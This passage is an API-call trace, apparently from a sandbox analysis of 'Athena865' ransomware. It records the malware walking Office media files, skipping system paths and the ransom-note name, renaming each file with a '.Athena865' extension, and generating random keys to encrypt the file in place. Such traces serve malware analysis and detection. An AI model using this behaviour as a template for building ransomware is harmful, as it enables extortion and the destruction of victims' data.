hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.016] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.017] CloseHandle (hObject=0x154) returned 1 [0139.017] CloseHandle (hObject=0x17c) returned 1 [0139.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.017] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".") returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="..") returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="windows") returned -1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootmgr") returned 1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="temp") returned -1 [0139.017] lstrcmpiW (lpString1="J0292020.WMF", lpString2="pagefile.sys") returned -1 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2="boot") returned 1 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ids.txt") returned 1 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ntuser.dat") returned -1 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2="perflogs") returned -1 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2="MSBuild") returned -1 [0139.018] lstrlenW (lpString="J0292020.WMF") returned 12 [0139.018] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0292020.WMF" | out: lpString1="J0292020.WMF") returned="J0292020.WMF" [0139.018] lstrlenW (lpString="J0292020.WMF") returned 12 [0139.018] lstrlenW (lpString="Athena865") returned 9 [0139.018] lstrcmpiW (lpString1="92020.WMF", lpString2="Athena865") returned -1 [0139.018] lstrlenW (lpString=".dll") returned 4 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".dll") returned 1 [0139.018] lstrlenW (lpString=".lnk") returned 4 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".lnk") returned 1 [0139.018] lstrlenW (lpString=".ini") returned 4 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".ini") returned 1 [0139.018] lstrlenW (lpString=".sys") returned 4 [0139.018] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".sys") returned 1 [0139.018] lstrlenW (lpString="J0292020.WMF") returned 12 [0139.018] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.Athena865") returned 71 [0139.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.athena865"), dwFlags=0x1) returned 1 [0139.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.020] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29000) returned 1 [0139.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.021] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.021] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.022] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.022] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7450, lpName=0x0) returned 0x154 [0139.023] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7450) returned 0x100000 [0139.025] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.025] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.025] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.026] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.027] CloseHandle (hObject=0x154) returned 1 [0139.027] CloseHandle (hObject=0x17c) returned 1 [0139.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.027] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="..") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="windows") returned -1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootmgr") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="temp") returned -1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="pagefile.sys") returned -1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="boot") returned 1 [0139.027] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ids.txt") returned 1 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ntuser.dat") returned -1 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2="perflogs") returned -1 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2="MSBuild") returned -1 [0139.028] lstrlenW (lpString="J0292152.WMF") returned 12 [0139.028] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0292152.WMF" | out: lpString1="J0292152.WMF") returned="J0292152.WMF" [0139.028] lstrlenW (lpString="J0292152.WMF") returned 12 [0139.028] lstrlenW (lpString="Athena865") returned 9 [0139.028] lstrcmpiW (lpString1="92152.WMF", lpString2="Athena865") returned -1 [0139.028] lstrlenW (lpString=".dll") returned 4 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".dll") returned 1 [0139.028] lstrlenW (lpString=".lnk") returned 4 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".lnk") returned 1 [0139.028] lstrlenW (lpString=".ini") returned 4 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".ini") returned 1 [0139.028] lstrlenW (lpString=".sys") returned 4 [0139.028] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".sys") returned 1 [0139.028] lstrlenW (lpString="J0292152.WMF") returned 12 [0139.028] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.Athena865") returned 71 [0139.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.athena865"), dwFlags=0x1) returned 1 [0139.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.030] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8398) returned 1 [0139.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.030] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.031] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.031] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.031] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23d0, lpName=0x0) returned 0x154 [0139.032] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23d0) returned 0x100000 [0139.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.034] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.034] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.035] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.035] CloseHandle (hObject=0x154) returned 1 [0139.035] CloseHandle (hObject=0x17c) returned 1 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.036] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="..") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="windows") returned -1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="bootmgr") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="temp") returned -1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="pagefile.sys") returned -1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="boot") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ids.txt") returned 1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="ntuser.dat") returned -1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="perflogs") returned -1 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2="MSBuild") returned -1 [0139.036] lstrlenW (lpString="J0292982.WMF") returned 12 [0139.036] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0292982.WMF" | out: lpString1="J0292982.WMF") returned="J0292982.WMF" [0139.036] lstrlenW (lpString="J0292982.WMF") returned 12 [0139.036] lstrlenW (lpString="Athena865") returned 9 [0139.036] lstrcmpiW (lpString1="92982.WMF", lpString2="Athena865") returned -1 [0139.036] lstrlenW (lpString=".dll") returned 4 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".dll") returned 1 [0139.036] lstrlenW (lpString=".lnk") returned 4 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".lnk") returned 1 [0139.036] lstrlenW (lpString=".ini") returned 4 [0139.036] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".ini") returned 1 [0139.036] lstrlenW (lpString=".sys") returned 4 [0139.037] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".sys") returned 1 [0139.037] lstrlenW (lpString="J0292982.WMF") returned 12 [0139.037] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.Athena865") returned 71 [0139.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.athena865"), dwFlags=0x1) returned 1 [0139.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2456) returned 1 [0139.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.039] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.039] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.039] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.040] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca0, lpName=0x0) returned 0x154 [0139.041] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca0) returned 0x100000 [0139.044] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.045] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.045] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.045] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.045] CloseHandle (hObject=0x154) returned 1 [0139.046] CloseHandle (hObject=0x17c) returned 1 [0139.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.046] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="..") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="windows") returned -1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="bootmgr") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="temp") returned -1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="pagefile.sys") returned -1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="boot") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ids.txt") returned 1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="ntuser.dat") returned -1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="perflogs") returned -1 [0139.046] lstrcmpiW (lpString1="J0293234.WMF", lpString2="MSBuild") returned -1 [0139.046] lstrlenW (lpString="J0293234.WMF") returned 12 [0139.046] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293234.WMF" | out: lpString1="J0293234.WMF") returned="J0293234.WMF" [0139.046] lstrlenW (lpString="J0293234.WMF") returned 12 [0139.046] lstrlenW (lpString="Athena865") returned 9 [0139.047] lstrcmpiW (lpString1="93234.WMF", lpString2="Athena865") returned -1 [0139.047] lstrlenW (lpString=".dll") returned 4 [0139.047] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".dll") returned 1 [0139.047] lstrlenW (lpString=".lnk") returned 4 [0139.047] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".lnk") returned 1 [0139.047] lstrlenW (lpString=".ini") returned 4 [0139.047] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".ini") returned 1 [0139.047] lstrlenW (lpString=".sys") returned 4 [0139.047] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".sys") returned 1 [0139.047] lstrlenW (lpString="J0293234.WMF") returned 12 [0139.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.Athena865") returned 71 [0139.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.athena865"), dwFlags=0x1) returned 1 [0139.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.048] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1466) returned 1 [0139.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.049] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.050] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.050] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x154 [0139.051] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000 [0139.052] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.053] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.053] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.054] HeapFree (in: hHeap=0x4f0000, 